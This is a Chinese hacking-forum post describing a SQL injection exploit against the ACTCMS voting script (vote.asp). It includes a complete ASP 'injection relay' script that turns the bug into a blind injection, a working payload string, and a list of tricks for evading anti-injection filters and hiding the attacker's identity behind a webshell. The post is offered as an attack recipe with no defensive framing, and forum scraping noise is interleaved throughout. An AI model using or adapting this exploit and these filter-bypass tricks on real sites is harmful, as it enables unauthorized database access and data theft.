找回密码
 立即注册
查看: 2958|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

' G$ P7 ?  U+ v1 N4 N; M看到ninty大牛的blog的一篇文章
* v. L# o8 J) t0 t$ x, l链接标记[url]http://www.forjj.com/?action=show&id=80[/url]% F, [" n+ Z% d- g. W: J( m
关于actcms漏洞的利用  by 3x qq:381862589
2 I. W7 y2 p# l& g, O4 P0 I5 o- h' R转载请注明以上
# d: x, V# L. k漏洞文件:( W/ x0 l, ^+ p  h; I% m: v
/plus/vote/vote.asp4 d$ h3 n! t. \5 j( A0 y
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
# ]1 R' |( ?! Y' x2 X1 `9 A8 M2 F6 z  w3 o8 t# o
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
" ~6 ?7 f1 j3 U% M# x6 e# G" h' v6 u  @7 s& j
3    response.end   
0 _- h2 y; k" g& f3 ~- Y- n
. X4 D& A' ^/ J+ u6 t4    end if    ( |4 s) P4 e8 i: F* D" m- D* T

* Q" r; {6 e6 M4 C+ ]5    for i=1 to request("voted").count   
0 p2 `5 T/ M4 @7 x* N9 t$ N8 k1 m& y) f
- \9 b. I, U* b; c  D5 j6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    , G! {8 v5 m& U0 s$ \4 R6 \4 b, P
7 o* F2 F7 ^! p" ~( k" f
7    next   
+ `* c4 ?0 u# A5 |! x% ~& x! g  d( T" T1 z% V/ [, _: @
8....    ' c9 @: \5 t& [1 J% W

. U3 p* f9 ?/ }% H. C( q: v' w9response.Redirect "index.asp?id="&id&""   
6 w5 c6 s( S) B+ R, {2 e$ U5 t3 S投票结束回跳转回index.asp这个投票结果页面; A/ ?7 c) n5 E) Q6 j# i! x( X; y# Q
如果投票成功票数加1
2 s; a% ~+ Q0 d% u            失败票数不变1 x( Y3 ?0 L; A' _8 ^! M
如图:
. n6 m5 R  v: B9 J; V8 p" uhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)& v0 E& |* a8 i3 L* m) h! G, b7 P7 v
# v8 A. S+ |  J
2009-12-27 13:20
( s: f3 K. S. @- X* T) N# G: U3 T+ h! c1 k0 T
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
! l/ }" F! B) C' A+ x: d% u6 @, t% r/ l3 O* B3 z% e% q/ E" n6 h9 L( a
本帖隐藏的内容需要回复才可以浏览0 f# b5 C9 Y/ e! B: W/ I
我们用注入中转来实现这个注入具体代码如下:" e$ g; R8 T/ O: Q
先用寂寞的刺猬大牛的注入中转生成jmget.asp
7 Y- }  e5 K8 R( V: l( {1 D注入地址:http://localhost/actcms/plus/vote/vote.asp
0 I1 |, t& y! {" ], h注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项6 h0 X/ X. y7 ?( g6 T
- s; n! f, |, A' A( K
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
# c2 }7 z( o: s7 _: i+ x; ~% t$ j! K  @) @: r
02JmdcwName=request("jmdcw") 2 f% Y: G3 X: x  ?7 S/ u# G

' u/ a3 C0 w' k8 u# z2 M7 c03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
0 i  ?$ K9 x5 j% \2 U
& L5 A& \2 I$ n0 l, F$ M# ?7 W04JmStr="id=1&voted=-1 or 1="&JmdcwName
' O& d, I! l9 v' i& W& Z+ ^- M
& M" f$ u+ D5 i1 W$ m" j: s05JmStr=URLEncoding(JmStr)
( q4 b: r: h+ t& x2 E0 @. f% @9 f! X0 w* t& E9 q
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
7 a7 c5 F5 _; }* E. O0 m$ L/ b1 k
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"; L: J5 @2 ~1 H( K7 Y
% t! G4 T, F! m6 t( K1 X
08testurl=testurl & "?" & JmStr . D  e, \5 L' K! i. D! H

8 Q5 V$ P% A: I9 `$ _09JMUrl=JMUrl & "?" & JmStr - X0 S6 J$ x5 [! q, ?; D" R: K
0 N/ H% J: J8 @+ e) N. G& G
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
$ P1 A9 f& Z; T. r0 M3 R3 S& F. i  }; V. p6 k) w( `: I/ W3 |
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
! O4 Z2 N# {7 h8 L3 `9 a) G, k: D
- }+ Y0 Z$ U0 p9 y6 J+ N! o12JmCok=replace(JmCok,chr(32),"%20")  
. M; }" C  ?( v& y. S& \1 m6 N6 r1 R. l% I& ~* l
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 - x$ S# l( _' w% y& d0 B

, V0 c: X* J/ p* C. _3 F5 Y; P14  % k' b  i$ g2 T/ L( j" X
# ]5 v5 y) T4 W& o2 m. j
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 ( `' M- u0 Z9 U. Y
- G" z3 o8 c) L! \4 p8 g
16  + G* b, f  M4 D3 X
: @, x! E5 O: m& R0 h8 `8 N7 f
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
7 p# c( P# c. Z  K* c/ |" D; S' \/ ]* v8 D( s9 f
18response.write test1&""&test2&""
2 s4 `; S3 F+ Q3 A% \
3 }: o6 |" S9 G5 I: r; R( p19  % M2 B0 \9 j1 {8 c9 i
, ]+ U  N8 K1 ]. z; M. Z
20if test1=test2 then '如前后记录相等,表示失败 8 d; a7 W# _) t8 P

0 V7 S# `' o$ D" [+ ?21  response.write "failed"5 f) a1 q3 Z8 p* v

! @0 A5 I; P: R& F; b5 Y9 r22else
+ o. H4 n9 m  H! H; ]
) W3 ]6 E0 S( E+ C" c% J2 f- Q23  response.write "succeed"! w9 x, \- |, w8 X

: f. O1 c# D# f4 }) w24end if  
% A$ a& {3 C+ @8 @# A& t) H0 X! H9 J9 \1 @& F, K: V
25  * n! Y, j6 d' w0 ?
/ P6 T8 c$ F/ J( D
26response.write "by 3x"+ ~' H8 {" U6 c1 p" Y; u

! g5 P  O' z- C" v( @27  ) D" f$ i- u; G( C# B6 K: z% v. K0 X  _
3 b& K  U% x; k$ O4 v) O% w
28  
% r$ K2 E3 s7 a- l6 M4 y1 R. @) J( ?$ c" ^0 k; u2 \$ Y
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
/ {* _- q, g( g/ G/ L; a( G
* ^4 [' F! n5 T4 h( J' g30Dim Http
, V' W( n) A/ x& V# C( J8 X( W6 ^3 {+ ^2 r6 g9 \+ F! t
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 9 M: ]% K+ [2 [4 K
; L2 j0 U" v4 \2 [0 S
32With Http 5 M! u/ e7 O0 F0 E5 e4 D
: f5 n5 g+ k1 L& O
33  : w% Z8 w0 z& g1 b  Y6 e' h: W

3 w  l. R: G7 {5 _34.Open "GET",PostUrl,False6 e, o, d5 L% a$ e8 h$ |) U

  v, \/ G  Z* ?35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
. `9 a. _9 `& |  w. M* _5 @. ?: i" g' ]  m% L
36.SetRequestHeader "Referer",PostRef
1 l5 y% q& ]* E& X+ Q5 ]6 }( M( W+ j8 q# u% W( x# D4 t
37.SetRequestHeader "Cookie",PostCok
( x7 N. k: L( i$ {4 X9 @* D  g& O+ ~% f" u8 R1 K3 ^1 ^1 y
38.Send ()
9 s- L' ]; p/ a% Z3 F6 t- w9 {
$ p* c- A' g- J( a39PostData = .ResponseBody
' K# @' p8 {. x/ H5 {& O5 Z
7 _( [. _$ O( ^0 k- W2 r40End With
' o# q1 a8 }) w0 Q2 P" t
- Y' _) L7 @& w  S: g! c; |& ~; t41Set Http = Nothing! y# ~' E+ X! `# S  C* ~1 h

: t# X1 [1 L4 R- `, V' @- z. z5 c42PostData =bytes2BSTR(PostData) : i4 M  y& Q/ b' n- {
1 C7 l9 @! W* A! _& ?: F
43End Function
; M) D% y9 M0 o' t' D! G8 U- I4 F* H; ?6 @. v2 [9 v% c9 @6 z8 g) F, `
44  
% A  P; C8 f$ g( |9 N7 o, @  B9 t  J6 N1 G; @; Z, Y' `
45  : f- Q' X  t, m! }; z# P- O
* S2 k2 h- ^8 N% }( y
46Function bytes2BSTR(vIn)
9 `' Z) u8 _( H5 z9 L: i& }- ?: i4 a1 o" ]( G8 k  J6 l7 a& o+ r
47Dim strReturn 0 U0 |0 Q. r+ n' E' H0 r
5 U; g7 n+ R- x& {1 M- |( F) O
48Dim I, ThisCharCode, NextCharCode ( g1 z& n2 U; N* ~+ L- a6 V

) G7 P. j4 F1 i, g49strReturn = ""& N9 q" j. ~2 U9 _( [6 n2 z5 N. q

& ~, Z. f9 s; Z3 L% q50For I = 1 To LenB(vIn) ' X- y; s6 F  I; e/ P- T& P, B% H" [4 e

/ {* J7 o8 H( Z' s1 `3 ^' ]51ThisCharCode = AscB(MidB(vIn, I, 1))
  A, o* `/ M) ?, R% p
( z: y$ a+ I0 A7 l) p8 o, a52If ThisCharCode < &H80 Then: U& g3 d2 \# Y
# W! s6 h7 T% R3 p. ^/ z
53strReturn = strReturn & Chr(ThisCharCode) 4 |  o$ _% Q' @5 T  p: f

3 W7 T: ^& N+ M54Else) m( R* w' p3 V0 X) `

2 d8 |% w7 C8 i6 s55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 8 K) r* v: C' v: ~2 o: I

* w- u% C! K8 G$ e- R56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
# r; _! T5 C& Y' {  O$ A+ q- n! h) p2 u
57I = I + 1 : w9 c6 A7 F8 t9 a1 C7 a5 J2 L8 d# `
2 b: l) L4 j/ w& `  `
58End If
( @% H8 ], N5 F! J7 J2 g' S- [" s5 Y: y/ p: q' }6 i9 o
59Next# x6 I& u9 Y& D5 U9 ^$ |
) w9 ]4 O5 O& v; E4 p" b; |+ O
60bytes2BSTR = strReturn 1 m1 e/ h" c* K, v% A

4 k' `$ g/ D9 s/ H% y; _6 a61End Function+ ]6 t; l5 z$ k* i5 u, w
  b) S: G' a% b0 D; c/ f  ~( u! ^
62  & p# ?' `8 I0 p1 ~4 K/ i
4 b$ n  ?% m' @/ a1 r
63Function URLEncoding(vstrin)  4 E; _$ k9 [2 ~) G, J

% x/ x1 r6 X0 o# m% ^; D2 u64strReturn=""
5 ]% e3 j; E' W. ]1 C# j* E  M) [: A( f0 f
65Dim i
( O* w  v2 d: ~7 n$ O* h
: Z- u2 `% o# M$ W. u1 C7 v66For i=1 To Len(vstrin) $ s/ k& e8 |& i( J  H

( d* }$ o  {9 L) q/ R& ~67ThisChr=Mid(vstrin,i,1) ! k& l# q8 W, i3 i5 |6 q
0 F& I# m7 b' W1 W  ^& T
68if Abs(Asc(ThisChr))< &HFF Then
2 l2 d3 K! `  M) x# ~- z5 V& `, r2 V/ |! \
69strReturn=strReturn & ThisChr
  ?  O# S- B% b5 [4 U9 F
! E# y3 U" D* X, a' X3 L70Else
0 h$ n' _) H. Y- B& j
1 [5 _$ C4 v! p  b1 r1 {9 Q71InnerCode=Asc(ThisChr) : S7 Y  ~; h5 g; W" P
( M. T% @. Y/ \/ |9 e
72If InnerCode<0 Then% ]- z, d- ^+ |  S6 Q2 R8 J, Q3 Z( l. t$ \
7 k7 o. L, E$ o) ]* S
73InnerCode=InnerCode + &H10000
# C, |+ S# j9 P  [, |" b! m" E3 s
74End If
$ A) Q" C7 U* c7 k5 W0 m9 Q3 \5 v- {; B0 _. S
75Hight1=(InnerCode And &HFF00) \&HFF 0 R6 z% H8 P$ x* j5 |1 H
9 q/ f; P& Z+ b" f1 Z' x0 w. j$ ^
76Low1=InnerCode And &HFF ; c: U2 ]: D* k7 S! t' P

- z+ C6 `1 u' Y% B77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
/ O0 Z( c9 C' p8 x* b# ^: f) o. t* V$ k0 X
78End if % K8 @# k; a! h/ Q, |+ ~: W) [

  n* `, k' y; z  P' j; q, Q79Next- W' `) t* x+ M/ w7 b0 M0 f5 U
$ D1 ]" Z3 _/ ~+ p# b8 P+ n
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
5 R" t, x. J  z, h- e
" Y, ]5 \7 S+ ?+ e# c1 q# y81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
$ \5 k" o6 G3 a  S& S0 x( B/ ~8 i! `6 _7 I
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
' U+ f" N7 H8 s% g5 N
- g: N$ W% l9 [/ u83URLEncoding=strReturn
1 ?* I" f5 E$ d' {
* X$ s2 n/ I& R# i84End Function
( ?; t" ~  M/ N4 C) s% R7 Q% z1 c% B( n+ n, E) G9 t
85  : t  t& I' P) `) L
. c, {. O7 r% i
86function getSt(body)
* ]' y6 h) g$ i0 B; m' t1 u7 n, L6 E/ N4 V2 B+ B9 w- E$ p
87  startpot=instr(body,"投票人数:")+len("投票人数:") % R, Y. d( X7 P

" U0 u/ f" b, ^7 R0 V88  endpot=instr(startpot,body," ") , ^; [, ^2 n' l: b

6 }0 G8 k6 ~) J* ^" O8 V89  getSt=mid(body,startpot,endpot-startpot)
; N3 M& c2 Y' `2 M- q/ b5 U" w: b
! v1 v( d- g3 K90end function
) S- _/ {& q; x. Y, Y
6 z0 I$ m$ d7 v$ P0 Q91%>, u" ]3 G/ d* F3 X' O; _7 a
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
5 F3 W; s9 B# T( S+ E* X) O测试下效果:& H& f5 ]  B: y+ W, @
投票成功:. J. S9 m$ Z! u8 J& t6 h( Y4 _
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
: v+ q4 K2 y) J8 l
+ m/ S; c% E, C2009-12-27 13:291 O0 [; Z$ h7 b9 O' r/ r, C0 l
投票失败
4 G! q/ i8 O; S6 e$ |) x8 Mhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB). b6 B4 w2 T4 Y2 Z

% e/ C/ r/ P7 {! j; r2009-12-27 13:29
( p1 Y) |% E" V3 m. }6 r0 ^-------------------------------------------------------------------------------" \# p5 F& W% I$ T7 [0 ]
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
4 E! i# p9 r0 h很抱歉。。。只能用单线程工具去注入。。。。。
' c' g" ^( |1 e+ W1 h所以失败。。。不好意思。。。
& h& ^  M+ Z) I- R$ ~6 Y2 W-------------------------------------------------------------------------------
& O6 l+ k0 X. V8 i8 N7 J9 `8 k6 \, s# S9 W
注入中转的一些其他应用
, Y6 o# H9 ]; R* D$ M7 \+ g其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
' _$ o9 \. ?/ s6 n. z1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
# P& ^0 J- a% g" Y3 Y) k3 U3 ?) }2.post注入转成get型的注入,方便我们使用工具来跑# x$ \! C. [. e4 j3 F' ]
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")1 O4 W! z9 K* M! J4 i' i6 ~
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
- p9 i6 @) z5 N6 g6 e7 z5 }, k% W8 Z4 l0 k: n" b  y# a6 V' l4 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表